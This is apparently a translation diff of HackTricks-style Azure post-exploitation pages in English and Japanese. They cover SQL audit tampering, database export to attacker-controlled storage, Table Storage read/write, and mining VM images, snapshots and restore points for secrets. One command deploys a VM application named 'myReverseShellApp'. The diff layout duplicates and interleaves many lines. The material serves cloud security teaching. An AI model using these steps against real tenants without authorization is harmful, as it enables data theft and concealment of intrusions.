--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
|
||||
# Update Elastic Pool
|
||||
az sql elastic-pool update \
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
|
||||
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意:Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
|
||||
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
|
||||
|
||||
この権限を持つことで、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。
|
||||
```bash
|
||||
az sql server connection-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
|
||||
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に持ち出すことができ、重大なデータ漏洩リスクを引き起こします。これを実行するには、ストレージキーを知っておくことが重要です。
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
|
||||
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込むことができます。さらに、自分のAzureサーバーにインポートすることもできます。注意: サーバーはAzureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
@@ -98,9 +87,4 @@ az sql db import --admin-user <admin-user> \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Table Storage Post Exploitation
|
||||
|
||||
For more information about table storage check:
|
||||
テーブルストレージに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-table-storage.md
|
||||
@@ -12,57 +12,49 @@ For more information about table storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
|
||||
|
||||
A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、テーブルストレージ内のテーブルを**一覧表示**し、**機密情報**を含む可能性のある**情報を読み取る**ことができます。
|
||||
```bash
|
||||
# List tables
|
||||
az storage table list --auth-mode login --account-name <name>
|
||||
|
||||
# Read table (top 10)
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
|
||||
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
|
||||
この権限を持つプリンシパルは、**テーブルにエントリを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:アプリで使用される信頼されたデータを上書きし、いくつかのインジェクション脆弱性を悪用する)。
|
||||
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` はすべてのアクションを許可します。
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` はエントリを**追加**することを許可します。
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` は既存のエントリを**更新**することを許可します。
|
||||
```bash
|
||||
# Add
|
||||
az storage entity insert \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Replace
|
||||
az storage entity replace \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update
|
||||
az storage entity merge \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、共有ファイルシステム内のファイルを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,94 +4,81 @@
|
||||
|
||||
## VMs & Network
|
||||
|
||||
For more info about Azure VMs and networking check the following page:
|
||||
Azure VMs とネットワーキングに関する詳細情報は、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### VM Application Pivoting
|
||||
### VM アプリケーションピボッティング
|
||||
|
||||
VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**.
|
||||
VM アプリケーションは、他のサブスクリプションやテナントと共有できます。アプリケーションが共有されている場合、それはおそらく使用されているためです。したがって、攻撃者が **アプリケーションを侵害し、バックドア付きの** バージョンをアップロードすることに成功すれば、**別のテナントやサブスクリプションで実行される可能性があります**。
|
||||
|
||||
### Sensitive information in images
|
||||
### 画像内の機密情報
|
||||
|
||||
It might be possible to find **sensitive information inside images** taken from VMs in the past.
|
||||
|
||||
1. **List images** from galleries
|
||||
過去に取得した VM からの **画像内に機密情報が存在する可能性があります**。
|
||||
|
||||
1. **ギャラリーから画像をリストする**
|
||||
```bash
|
||||
# Get galleries
|
||||
az sig list -o table
|
||||
|
||||
# List images inside gallery
|
||||
az sig image-definition list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
|
||||
# Get images versions
|
||||
az sig image-version list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **List custom images**
|
||||
|
||||
2. **カスタムイメージのリスト**
|
||||
```bash
|
||||
az image list -o table
|
||||
```
|
||||
|
||||
3. **Create VM from image ID** and search for sensitive info inside of it
|
||||
|
||||
3. **イメージIDからVMを作成**し、その中に機密情報がないか検索する
|
||||
```bash
|
||||
# Create VM from image
|
||||
az vm create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
```
|
||||
### リストアポイント内の機密情報
|
||||
|
||||
### Sensitive information in restore points
|
||||
|
||||
It might be possible to find **sensitive information inside restore points**.
|
||||
|
||||
1. **List restore points**
|
||||
**リストアポイント内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **リストアポイントをリストする**
|
||||
```bash
|
||||
az restore-point list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create a disk** from a restore point
|
||||
|
||||
2. **復元ポイントからディスクを作成する**
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
```
|
||||
|
||||
3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
|
||||
|
||||
3. **VMにディスクをアタッチする**(攻撃者はすでにアカウント内のVMを侵害している必要があります)
|
||||
```bash
|
||||
az vm disk attach \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
```
|
||||
|
||||
4. **Mount** the disk and **search for sensitive info**
|
||||
4. **ディスクをマウント**し、**機密情報を検索**します
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# List all available disks
|
||||
sudo fdisk -l
|
||||
@@ -103,83 +90,70 @@ sudo file -s /dev/sdX
|
||||
sudo mkdir /mnt/mydisk
|
||||
sudo mount /dev/sdX1 /mnt/mydisk
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
#### **1. Open Disk Management**
|
||||
#### **1. ディスクの管理を開く**
|
||||
|
||||
1. Right-click **Start** and select **Disk Management**.
|
||||
2. The attached disk should appear as **Offline** or **Unallocated**.
|
||||
1. **スタート**を右クリックし、**ディスクの管理**を選択します。
|
||||
2. 接続されているディスクは**オフライン**または**未割り当て**として表示されるはずです。
|
||||
|
||||
#### **2. Bring the Disk Online**
|
||||
#### **2. ディスクをオンラインにする**
|
||||
|
||||
1. Locate the disk in the bottom pane.
|
||||
2. Right-click the disk (e.g., **Disk 1**) and select **Online**.
|
||||
1. 下部のペインでディスクを見つけます。
|
||||
2. ディスク(例:**ディスク 1**)を右クリックし、**オンライン**を選択します。
|
||||
|
||||
#### **3. Initialize the Disk**
|
||||
#### **3. ディスクを初期化する**
|
||||
|
||||
1. If the disk is not initialized, right-click and select **Initialize Disk**.
|
||||
2. Choose the partition style:
|
||||
- **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
|
||||
1. ディスクが初期化されていない場合、右クリックして**ディスクの初期化**を選択します。
|
||||
2. パーティションスタイルを選択します:
|
||||
- **MBR**(マスターブートレコード)または**GPT**(GUIDパーティションテーブル)。現代のシステムにはGPTが推奨されます。
|
||||
|
||||
#### **4. Create a New Volume**
|
||||
#### **4. 新しいボリュームを作成する**
|
||||
|
||||
1. Right-click the unallocated space on the disk and select **New Simple Volume**.
|
||||
2. Follow the wizard to:
|
||||
- Assign a drive letter (e.g., `D:`).
|
||||
- Format the disk (choose NTFS for most cases).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
1. ディスク上の未割り当てスペースを右クリックし、**新しいシンプルボリューム**を選択します。
|
||||
2. ウィザードに従って:
|
||||
- ドライブ文字を割り当てます(例:`D:`)。
|
||||
- ディスクをフォーマットします(ほとんどの場合、NTFSを選択します)。
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Sensitive information in disks & snapshots
|
||||
### ディスクとスナップショット内の機密情報
|
||||
|
||||
It might be possible to find **sensitive information inside disks or even old disk's snapshots**.
|
||||
|
||||
1. **List snapshots**
|
||||
**ディスクや古いディスクのスナップショット内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **スナップショットのリスト**
|
||||
```bash
|
||||
az snapshot list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create disk from snapshot** (if needed)
|
||||
|
||||
2. **スナップショットからディスクを作成** (必要に応じて)
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
```
|
||||
3. **ディスクをVMにアタッチしてマウント**し、機密情報を検索します(これを行う方法については前のセクションを確認してください)
|
||||
|
||||
3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this)
|
||||
### VM拡張機能およびVMアプリケーション内の機密情報
|
||||
|
||||
### Sensitive information in VM Extensions & VM Applications
|
||||
|
||||
It might be possible to find **sensitive information inside VM extensions and VM applications**.
|
||||
|
||||
1. **List all VM apps**
|
||||
**VM拡張機能およびVMアプリケーション内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **すべてのVMアプリをリストアップ**
|
||||
```bash
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
2. Install the extension in a VM and **search for sensitive info**
|
||||
|
||||
2. VMに拡張機能をインストールし、**機密情報を検索**します。
|
||||
```bash
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user